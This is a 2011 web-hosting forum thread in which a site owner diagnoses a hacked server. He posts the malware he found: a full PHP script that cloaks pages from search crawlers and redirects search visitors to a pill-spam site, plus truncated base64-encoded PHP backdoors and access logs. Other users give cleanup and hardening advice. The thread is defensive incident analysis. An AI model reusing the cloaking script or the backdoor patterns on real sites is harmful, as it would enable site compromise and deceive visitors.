We were Hacked! How to Diagnose the Vulnerability

33 posts / 0 new
Last post
#1 Sat, 02/12/2011 - 14:25
katir

We were Hacked! How to Diagnose the Vulnerability

Last night I get an email from our staff who handles email to the web master saying that directories in our publication folder /public_html/resources/

Were unavailable the web. I went there and the home page seemed fine, but then trying to navigate to any sub-directories failed. we got 404's

I logged in and to my dismay discovered a .htaccess fill had been added

directoryIndex hap.php

and two other files had been added to the folder

hap.php index.php

which myself and none of my team had put there.

the hap.php file was a copy of the index.shtml file which was and has been the real home page

In addition there a copy of index.shtml page name index.php which had at the top of this file:

a PHP include:

<?php
 include('/home/himalayan/public_html/art/top.php');
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"

Now, the "top.php" file was this wierd thing related viagra sales:

<?php
error_reporting(E_ALL);
ini_set('display_errors', "0");

$ip=strtolower($_SERVER['REMOTE_ADDR']);
$agent=$_SERVER['HTTP_USER_AGENT'];
$hostname = gethostbyaddr ($ip);
$ref=strtolower($_SERVER['HTTP_REFERER']);

if (
strpos($agent, 'Googlebot') !== false ||
strpos($agent, 'Slurp') !== false ||
strpos($agent, 'msnbot') !== false ||
strpos($agent, 'msnbot-media') !== false ||
strpos($agent, 'spider') !== false ||
strpos($agent, 'Baiduspider+') !== false ||
strpos($agent, 'Yahoo') !== false ||
strpos($ip, '209.185.108') !== false ||
strpos($ip, '128.2.140') !== false ||
strpos($ip, '209.185.253') !== false ||
strpos($ip, '209.85.238') !== false ||
strpos($ip, '209.85.238.11') !== false ||
strpos($ip, '209.85.238.4') !== false ||
strpos($ip, '216.239.33.96') !== false ||
strpos($ip, '216.239.33.97') !== false ||
[snip   1000 lines exactly the same with different IP's]
strpos($ip, '66.249.84') !== false ||
strpos($ip, '74.6.87') !== false  ||
strpos($ip, '66.249') !== false ||
strpos($hostname,'googlebot')!== false
)
{
$cont=file_get_contents('/home/himalayan/public_html/art/page.shtml');
print $cont;exit();
}

if (strpos($ref, 'google.') !== false || strpos($ref, 'yahoo.') !== false || strpos($ref, 'msn.') !== false || strpos($ref, 'aol.') !== false ||

strpos($ref, 'search') !== false){
if (strpos($ref, 'q=') !== false){
if (strpos($hostname,'googlebot')== false){
if (substr_count($ref,"cialis")>0) {
if (strpos($ref, 'start=56')==false){
$rederict_URL="http://getfastpills.com/cialis_pro.html";
header ("Location: $rederict_URL"); exit(0);}
                  }
}
}
}
?>

I don't think that anyone actually got in via FTP... it's almost like they figured out some vulnerability in one of our PHP apps and did some kind of insertions

there were ten other directories in /public_html/ and each had the same thing: a new .htaccess file with a directoryIndex index.php and the index.php was a copy of index.shtml with the include at the top which pointed to the "*.php" file with all the Viagra sales redirect stuff attempt.

So, I am removing those files and things are back to normal, but I don't know how to close the hole or even what it was. fortunately the attack seems to have failed at least our users did not end up at "getfastpills.com" but instead they just got a 404.

Presumably the attacker realized this and abandoned his work otherwise he probably would have continued on until all top directories on the site were infected.

Sat, 02/12/2011 - 14:33
andreychek

Howdy,

You may want to take a look at your error logs in $HOME/logs/error_log, to see if anything unusual shows up there.

One idea would be to look at the timestamp on the .htaccess files that were added -- use that timestamp to give you an idea of where to look in the logs.

If that doesn't help -- my best suggestion is to review all the web apps on that account, and make sure they're all running at the most recent version.

-Eric

Sun, 02/13/2011 - 14:39
trey

Like you said they most likely got in from a PHP script. Check the Apache log for repeated POST's from the same IP and see which script was involved. You can check the timestamps from when those files were modified against the timestamps in the Apache log to identify the IP of the remote server and the vulnerable script. You can use find -mtime to check and see which files were recently modified, since usually people (or scripts they write) are too lazy to reset modification times.

After you identify the problem, it's best to restore from a backup and then upgrade the vulnerable scripts. If you don't have a backup, try to write some scripts that use find, sed, awk, etc. to remove the newly added lines to PHP files. Also check for newly created files that might be a backdoor or sort of remote access shell. Sometimes a clamscan can find any malware but it rarely does. Best method is to compare against backups. If you see anything that looks obfuscated and you didn't create it, it's probably a backdoor.

Also do the other stuff to make sure you weren't compromised in other ways, check the crontabs, lastlogs, check for strange running processes, look to see if there are missing gaps in time in system logs. If you backup the whole server, file by file, daily, it's pretty easy to see which files were tampered with. A root level compromise is pretty rare if you keep your software up to date, usually people just munge HTML documents and PHP scripts for "black hat" SEO (with links to sites like getfastpills.com) or install backdoors (like c99 shell).

Sun, 02/13/2011 - 14:51
helpmin

now we mentioned that website twice already. we should probably remove/edit that website from this topic :-)

Sun, 02/13/2011 - 16:24
katir

Trey... great advice, thanks; Snapmin: I don't have rights to edit previous posts

Sun, 02/13/2011 - 16:25
katir

Under PLESK I was able to request a daily email list of all SSH logins as well as all FTP and SFTP log ins. How can I get that from VirtualMin, or at least view these log in, dates, times and IP's Ideally i could see i) just FTP log ins and ii) just ssh log ins, separately

Sun, 02/13/2011 - 17:38
andreychek

Howdy,

You can view recent logins either by running the command "last" on the command line, or by going into Webmin -> System -> User and Groups, and clicking "Display Logins by".

On that same screen, you can also search for users with a login shell -- /bin/sh, /bin/bash, and /bin/false are commonly used.

-Eric

Sun, 02/13/2011 - 20:52
katir

great thanks, meanwhile I ran the HOST Nessus security scan bot on the all my IP's and this particular site is showing:

Vulnerability: Port/Service Issue regarding Port 64.151.103.90 general/tcp Security hole found

where do turn off that port/service

Sun, 02/13/2011 - 20:58
andreychek

Vulnerability: Port/Service Issue regarding Port 64.151.103.90 general/tcp Security hole found

Hrm, that doesn't list a service you can disable, that's just the IP address of your server. You'll need a more specific problem description if you'd like to disable something that's running on your server.

-Eric

Sun, 02/13/2011 - 21:14
katir

"last" nice...

I'm not seeing any unusual log ins via SSH shell or FTP traffic on or near the time of the "Viagra Marketing Monster" exploit... and yes, another more knowledgeable person on my team says they were just trying to get more "hits" registered for their site. ... you were right: "Black Hat SEO"

find /home/mydomain -mtime 4 did not result in a list that made any sense because it did not show files i know for sure were modified within the last 4 days. so I must have my find command wrong there...

The access file that covers Feb the 11, closed and zipped yesterday (13th) I download that and now I have to figure out what good tools to use to read and analyze a 245MB file. I downloaded Splunk but thing is way over my head...

Sun, 02/13/2011 - 21:42
katir

Bingo! access logs for the 4-13th filtering for "POST" dated the 11th:

11th are showing posts to this file

"menu.php"

84.16.224.26 - - [11/Feb/2011:12:07:23 -0800] "POST /someFolder/images/menu.php HTTP/1.1" 200 6677 "http://mydomain/someFolder/images/menu.php" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0C)"

what is really strange is: this file is dated October 28, 2010 and there is another 1.php file in this images folder name "1.php"

menu PHP starts with

<?PHP //Authentication $login = ""; //Login $pass = ""; //Pass $md5_pass = ""; //If no pass then hash eval(gzinflate(base64_decode('HJ3HkqNQEkU/ZzqCBd4t8V4YAQI2E3jvPV8/1Gw6orsVFLyXefMcFUL5EXf/yqceii7e8n9JvOYE9t8sT8cs//cfWUXldLpKsQ2LCH7EcnuYdrqeqDHEDz+4uJYWH3YLflGUnDJ40DjU/AL1miwEJPpBWlsAxTrgB46jRW/00XpggW00yDI/H1kD7UqxI/3qjQZ4vz7HLsfNVW1BeQKiVH2VTrXtoiaKYdkT4o/p1E8W/n5eVhagV7GanBn0U7OCfD7zPbCQyO0N/QGtstthqJBia5QJsR6xCgkHpBo1kQMlLt6u++ [snip] eFb//eeff/79z/8A'))); ?>

what kind of log in is this? FTP SSH

Obviously he was successful.

and another file in that same directory:

1.php

<?php
 eval(base64_decode(str_replace(" ",chr(43),"cHJpbnQgIjxmb3JtIGFjdGlvbj0iLmNocigzMikuIjEucGhwP2FjdD1jcmUiLmNocigzMikuIiBtZXRob2Q9UE9TVD4iOw0KcHJpbnQgIjx0ZXh0YXJlYSBuYW1lPSIuY2hyKDMyKS4iZWRpdF90ZXh0Ii5jaHIoMzIpLiIgY29scz0iLmNocigzMi[snip]ElUKCk7")))
?>

also dated October 28, 2010.

OK so I reload the access log file and now filter for "menu.php" and then I get some very interesting results from the day before when the hacker must have started cracking his knuckles and going to work around 8 PM and then only after about 2 AM on the 11th did he succeed. Sheesh, don't these guys in Russia have anything better to do? I guess if you are snowed in and it's 20 below outside, maybe not...

At any rate, I don't under how a GET call for an image can return an absolute URL for a PHP script in another directory... what does that mean and how did he do it!??

Sun, 02/13/2011 - 21:46
katir

harump, my log entries and the php code were cleaned up on submit above...... let me try again. here is the php (I change "php" to "hph" to get i accepted here...

1.php

hph eval(base64_decode(str_replace(" ",chr(43),"cHJ

[snip]

oJGZpbGVfbmFtZSwgInciKTsNCmZ3cml0ZSgkZmlsZSwkY29kZV9mKTsNCmZjbG9zZSgkZmlsZSk7DQp9DQpFWElUKCk7")))?>

menu.php

HPH //Authentication $login = ""; //Login $pass = ""; //Pass $md5_pass = ""; //If no pass then hash eval(gzinflate(base64_decode('HJ3HkqNQEkU/ZzqCBd4t8V4YAQI2E3jvPV8/1Gw6orsVFLyXefMcFUL5EXf/yqceii7e8n9JvOYE9t8sT8cs//cfWUXldLpKsQ2LCH7EcnuYdrqeqDHEDz+4uJYWH3YLflGUnDJ40DjU

[snip]

0pcyEAwf140DKTG2tU2+VdCzI0EQCSltagkiugrm3k1ctsnnNIyilfDkQNlNND7qml51xkiT0d5Mukc17Bfs2DXdUn7Dj5qynymWRcvydcWUwnbOTvD9ABmSDz4AF5FV9omxSL/GO2OYowPCYGfNXBVAg6DPa84jA7JJJ6O+QdUv51FR/1dnx89M8P6H7P1qgSq3fbEqwSKgC2OCB6Gds5T7dJIsm2wrS+Y/O19dCsltUVCNIAWIIgeFb//eeff/79z/8A') ?<<

so, again, what kind of log in would this be? FTP for this site I presume...

Sun, 02/13/2011 - 21:47
katir

And here are the log entries which I also had to "fix" to get to appear here

84.243.197.71 - - [10/Feb/2011:13:20:05 -0800] "GET /childrens-course/images/menu.php HTTP/1.1" 200 6499 "-" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00" 84.243.197.71 - - [10/Feb/2011:13:20:06 -0800] "GET /favicon.ico HTTP/1.1" 200 766 "http://www.myDomain.com/childrens-course/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00" 84.243.197.71 - - [10/Feb/2011:13:20:09 -0800] "POST /childrens-course/images/menu.php HTTP/1.1" 200 6034 "http://www.myDomain.com/childrens-course/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00" 84.243.197.71 - - [10/Feb/2011:13:20:16 -0800] "POST /childrens-course/images/menu.php HTTP/1.1" 200 5189 "http://www.myDomain.com/childrens-course/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00" 84.243.197.71 - - [10/Feb/2011:13:20:17 -0800] "GET /css/main_home_pages.css HTTP/1.1" 200 28myDomain37 "http://www.myDomain.com/childrens-course/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00" 84.243.197.71 - - [10/Feb/2011:13:20:17 -0800] "GET /images/main_page_symbol.gif HTTP/1.1" 200 5365 "http://www.myDomain.com/childrens-course/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00" 84.243.197.71 - - [10/Feb/2011:13:20:18 -0800] "GET /images/social-icon-twitter.png HTTP/1.1" 200 1589 "http://www.myDomain.com/childrens-course/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00" 84.243.197.71 - - [10/Feb/2011:13:20:18 -0800] "GET /images/social-icon-facebook.png HTTP/1.1" 200 860 "http://www.myDomain.com/childrens-course/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00" 84.243.197.71 - - [10/Feb/2011:13:20:18 -0800] "GET /images/social-icon-youtube.png HTTP/1.1" 200 1366 "http://www.myDomain.com/childrens-course/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00" 84.243.197.71 - - [10/Feb/2011:13:20:19 -0800] "GET /images/header_flymenu_bg.gif HTTP/1.1" 200 1460 "http://www.myDomain.com/childrens-course/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00" 84.243.197.71 - - [10/Feb/2011:13:20:17 -0800] "GET /images/monks-debuhr.jpg HTTP/1.1" 200 36030 "http://www.myDomain.com/childrens-course/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00" 84.243.197.71 - - [10/Feb/2011:13:20:17 -0800] "GET /images/gurudeva-bodhinatha.jpg HTTP/1.1" 200 33976 "http://www.myDomain.com/childrens-course/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00" 84.243.197.71 - - [10/Feb/2011:13:20:18 -0800] "GET /images/main_pages_bg.jpg HTTP/1.1" 200 54975 "http://www.myDomain.com/childrens-course/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00" 84.243.197.71 - - [10/Feb/2011:13:20:19 -0800] "POST /childrens-course/images/menu.php HTTP/1.1" 200 5311 "http://www.myDomain.com/childrens-course/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00" 84.243.197.71 - - [10/Feb/2011:13:20:29 -0800] "POST /childrens-course/images/menu.php HTTP/1.1" 200 4089 "http://www.myDomain.com/childrens-course/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00" 84.243.197.71 - - [10/Feb/2011:13:21:43 -0800] "POST /childrens-course/images/menu.php HTTP/1.1" 200 3800 "http://www.myDomain.com/childrens-course/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00" 84.243.197.71 - - [10/Feb/2011:13:21:49 -0800] "POST /childrens-course/images/menu.php HTTP/1.1" 200 3600 "http://www.myDomain.com/childrens-course/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00" 84.243.197.71 - - [10/Feb/2011:13:21:50 -0800] "GET /images/history/69palani_hills.jpg HTTP/1.1" 404 614 "http://www.myDomain.com/childrens-course/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00" 84.243.197.71 - - [10/Feb/2011:13:21:50 -0800] "GET /images/history/66.jpg HTTP/1.1" 404 614 "http://www.myDomain.com/childrens-course/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00" 84.243.197.71 - - [10/Feb/2011:13:21:52 -0800] "POST /childrens-course/images/menu.php HTTP/1.1" 200 3678 "http://www.myDomain.com/childrens-course/images/menu.php" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.00" 84.16.224.26 - - [10/Feb/2011:13:21:56 -0800] "GET /childrens-course/images/menu.php HTTP/1.1" 200 6498 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0C)"

Mon, 02/14/2011 - 09:16
trey

Find files that have been modified within the past 4 days in your web directory: Use a - in front of the days:

find /home/mydomain/public_html -mtime -4

The PHP scripts can be created by other vulnerable PHP scripts since the web directory is all owned by the same user account running PHP via FastCGI and people usually don't lock down permissions by setting most everything to read-only or immutabe.

You may want to grep for all those backdoors with eval(base64_decode(...)) and just mass-remove them after inspection:

grep -rl eval.base64_decode /home/mydomain/public_html

Mon, 02/14/2011 - 11:54
katir

OK, thanks for that tip. I'm documenting all your guidance! I will sweep this domain for "eval" and the others as well. I searched on the web to find out how the exploit might have occurred in the first place, but I still don't see a clear path to determining exactly how the menu.php was inserted.

We are not letting users upload images of any kind, so it cannot be the known GIF infected file exploit.

I would like to learn how to configure the serve to prevent execution of PHP from any directory except the one and only place we use PHP: (WordPress, latest version) /public_html/blog/ directory.

We will be redoing the whole site soon, using LiveCode server and RevIgniter framework and no PHP and the Word press installation is present only in this single location... so I don't need to have PHP execute from any where else. (umm wait, no, one other location /public_html/slideshows/SlideshowPro directory also uses PHP)

So I may as well simply block execution of PHP from any other location except these two directories. This was on recommendation: to block execution from all "/images/ directories, for example...But I would rather do it the other way: config exactly from where they can be executed. How can i do that?

Mon, 02/14/2011 - 11:56
katir

I am also finally going to block SSH log in as root. Can I do that from inside WebMin? I;m also accessing VirtualMin as Root, I probably should not do that either. How do I set myself up as a user with all the full scope of admin privileges in Virtual-Web Min as I would have if I was Root?

Mon, 02/14/2011 - 12:33 (Reply to #16)
trey

If you use SSH keys to login, you can disable password authentication, but DON'T disable it until you are sure you have SSH keys setup. See PasswordAuthentication in /etc/ssh/sshd_config.

Another option I like for preventing SSH brute force attacks is to install the fail2ban package. If you install it on a Debian/Ubuntu system, it will be setup to protect SSH attacks by default, but if you install on an RHEL/CentOS system, you'll need to configure it in /etc/fail2ban*.

Lastly, if you are the only one using SSH, update your firewall to only allow SSH connections from your preferred networks. You should be able to do this in Webmin under the Linux Firewall module. Edit the rule accepting traffic on port 22, or manually edit the iptables rules file (possibly /etc/iptables.up.rules on your system) to change:

-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT

to

-A INPUT -s (your IP or network) -p tcp -m tcp --dport 22 -j ACCEPT

Repeat that line for as many IPs or networks as needed, then restart the firewall:

iptables-restore < /etc/iptables.up.rules

Mon, 02/14/2011 - 14:19
katir

I don't use SSH keys to log in ... just straight user/pswd method.

I need to allow my "wizard" in Brazil and another in California to get on.. these are highly trusted. They come in usually with a dynamic IP, so I'm not sure I will always know what network they are logging in thru, I will check. It is only those 2, no one else outside the LAN and our own Firewall.

I know that I should block root log in via SSH and force everyone to log in as user and the SU... I know how to do that, I just want to know if I do, does that mean I can't log into VirtualMin as Root either?

btw.. this grep -rl eval.base64_decode /home/mydomain/public_html is taking several hours!

but it did find some files in an old, disable "site-map-generator" directory which I had disabled.. but it was still accessible. all the encoded files have a disclaimer "Proprietary, do not reverse engineer" I deleted that whole folder as there is not way to now if a trojan is in there or not... but the dig on the two directories running WordPress and SlideShowPro (only two php CMS apps on this domain) turned up empty, so they are clean (apparently is possible for an entire Word Press installation to get infected!)

Mon, 02/14/2011 - 15:36
Locutus

Allowing SSH root access with key only instead of password should be secure as well. Brute force attackers will only try passwords and surely not keys.

Disallowing root to login via SSH will have no effect on Webmin. In principle SSH does not even need to be running for Webmin to function. :)

Fri, 11/04/2011 - 15:24
katir

They are at it again! I'm getting some PHP insertion into some directory. hackers are inserting a line of PHP into the top of html and .shtml files now, trying to call imagMagick with a php string.

I posted this on Expert's Exchange and they are telling me I should turn off the execution of PHP in .html and .shtml files if I do not need it. in httpd.conf, but I don't see anything in httpd.conf that matches what they talk about.

there is nothing like:

SetHandler application/x-httpd-php

or

AddType application/x-httpd-php .html

But clearly PHP is being executed: see:

http://www.himalayanacademy.com/basics/ where I poke the time stamp at the top of the page with:'

<?php
echo date("l dS of F Y h:i:s A");
?>

In Web Min, how to I block PHP execution in all pages except .php page, for all domains?

We don't need to execute PHP in .html or .shtml pages.

I did examine the logs again and all files that were modified in the last four days but see nothing suspicious. Now I am worried I have a trojan buried deep inside the WordPress data base that runs "headless" as this thing keeps infecting the same files, as if there is no human behind it... So I'm not going to see any POST in a log file.

Anyway, I have changed the admin password again, and I have set the permission on those files to 444, change the WordPress admin log in password and upgraded WordPress to 3.3... now we just have to turn off execution of PHP in .html and .shtml files as the next step, then wait and watch. I don't know how to scan a Word Press installation for trojans.. but I'm asking that over there on the WP site.

Fri, 11/04/2011 - 15:54
helpmin

This is not really the right forum, you should ask this in a wordpress security forum.

But here is my guess (assuming that your server is secure). You either didn't have the latest wordpress update and/or have a vulnerable plugin/extension for wordpress (or other external components like phpmyadmin). In addition you don't really know how you got hacked (and how to clean it up).

In my opinion this leaves you only with one option. you need to reinstall everything from scratch and make sure to install the latest versions of everything and update immediately when updates are available (and not a month later). Also follow the wordpress security guide.

I don't think the turn off the execution of PHP in .html and .shtml would actually help a lot. Since the attacker is able to modify files ...

Fri, 11/04/2011 - 16:08
katir

Understood, all you say is true, I have submitted my query to security@wordpress.org... they prefer users don't discuss vulnerabilities on the forums.

that said: I still would like to turn off execution of php in .html and .shtml files. Granted it's not addressing the security hole directly, but still How can I do that?

Fri, 11/04/2011 - 16:20
helpmin

By default virtualmin doesn't turn on this option (so it should be turned off already, or may be an attacker ...). You could grep for x-httpd-php in all files to find the setting.

But as said already, you are probably much better off installing everything from scratch :-) You are just wasting your time :-)

Fri, 11/04/2011 - 16:30
katir

reinstall all files on the entire server? (that could take days!)

Or just WP?

Fri, 11/04/2011 - 16:36
helpmin

I personally would reinstall the whole server (unless you are 100% sure how you got hacked and what was changed and how to clean it up).

But you could try to delete and reinstall only the virtual server that contains the wp installation.

Wed, 12/14/2011 - 09:18
nosco

Can hacker do any damage (except SPAMing) with shell scripts like c99 shell if I use server in FastCGI mode and every virtual server is run as it's own user?

Kristijan

Wed, 12/14/2011 - 10:07 (Reply to #27)
andreychek

That would allow them to browse the filesystem and run any command they want as the Virtual Server owner.

So could they do damage to the server? Well, only if they found a way to gain access to root.

Now, chances are that they were just sending spam, and causing problems with your website. They may have made modifications to your site, and possibly uploaded content that may allow them to gain access to it in the future.

It's difficult to determine the extent of the breach without a thorough examination of your server though.

-Eric

Thu, 12/15/2011 - 02:54 (Reply to #28)
nosco

Hi Eric,

First, thanks for fast answer, no my server ATM and as far as I know are not hacked ;) ... Last hack was last year when ProFTPD server was hacked, I tought that I patched my server by PLESK didn't issue correct patch.

I learned a lesson (one more in a row). Now I transfered all my accounts to Virtualmin (last transfer in progress) and I do my own protection. I use CentOS and R-FX networks tools (http://www.rfxn.com/).

And I'm still in doubth to use mod secure on one server for general population ;).

was wondering is there any other web application firewall except than mod.security option to secure joomlas, wps and other web software.

Anyway I have few scripts like c99 shell in my archives that I collected in 10 years of hosting experience, but still I'm not security expert. I tried c99 on virtualmin and all that I know I tried all options of a script and everything that I do know, but as I said earlier I'm not an expert.

All damage that I could do is SPAMing, but there is also a trick to take log of sendmail and now i know how to find such scripts and files in very short time ;).

Wed, 12/14/2011 - 14:00
katir

I spent a lot of time "cleaning".... the base64Decod strings that were being inserted into the top of some pages read: '...include "/tmp/ImageMagick/tmp/PerlMagic/img/rvf"

and those little files "rvf" were php files!

Now, the fact that they pushed this version of ImageMagic (we have our own active version of ImageMagick that we use in /opt/bin) into tmp I(which any user can write to) look very much like what you say, some kind up upload intrusion. I'm not see evidence that they actually have root or FTP, or even access to the WordPress passwords... we do get tons of spam in comments. and possibly they included something that they could then execute from a URL... there was some discussion of an obscure upload hole in an obscure WP plug in for WSIWIG editing, which we are not using, but which was present in the plug-ins folder. I removed it... It appears this particular hack is widespread and mysterious to most users. even those who have secured their server (new passwords, firewall etc.) are still getting hit. so it really appears to be a whole in the WP CMS... I removed the imageMagick directory and cleaned all the "bad" files out of the /blog directory, (they had made 8746.html files! copies of all our posts! with links to their sites in them!) WP security has good instruction. I cleaned the data base table "wp_options" where hacker put stuff (found nothing suspicious) , searched all comments for "base64" (found none) ... our next step is to take down the blog for a while and reinstall WP from scratch... apparently upgrades don't clean out everything that could be contaminated.

What fun!

Thu, 12/15/2011 - 03:23
skopy

on my server i have this setup... i must say the conf is good for free only on one server/one admin and if the server is dedicated to you, couse it would be too much work with customers...

the only thing running on my server is apache and ssh, i have shutdown everything else...

first change nameservers to cloudflare - its dns manager + nginx rev proxy so it will save you bandwith and it has some protection on free version and advanced protection if you want to pay... bind gone...

then disable any additional firewall you have and setup dome9 - smart thing, i am impressed with it.. add port 10000 and 22 and open it only for your ip when you need it.. sleep well - done...

for mail setup goole for bussiness, you get 10 emails for free but you have alisases so its enough, setup your script to send mails with smtp and disable postfix and dovecot... spammers gone.....

one last thing google "amon.so" and add it... scriptkiddies gone...

i hope i helped you a little bit...

sorry if i misspelled something, my english is little bit rusty..

Thu, 12/15/2011 - 05:33 (Reply to #31)
nosco

@Skopy, WOW, a lot of interesting software and solutions.

For personal machine / server GREAT; I'll recheck everything.

I see that if you pay / per domain cloudflare can do WAF which is my main occupation for hosting server.

I was using Atomic Secured Linux, but I'm not sure how it will behave on virtualmin and would like something less robust.

I'll for sure recheck amon.so and give you detailed report ... ASAP...

Thanks again.

p.s. google apps rules (for our intranet and mailings)

Thu, 12/15/2011 - 05:14
helpmin

mod_security is also a nice tool I heard :-)

Thu, 12/15/2011 - 05:34
nosco

I must check it againg. On other server as part of Atomic Secured Linux .. it works fine, but overal CPU usage is much higher (on 4 core, server)

Kristijan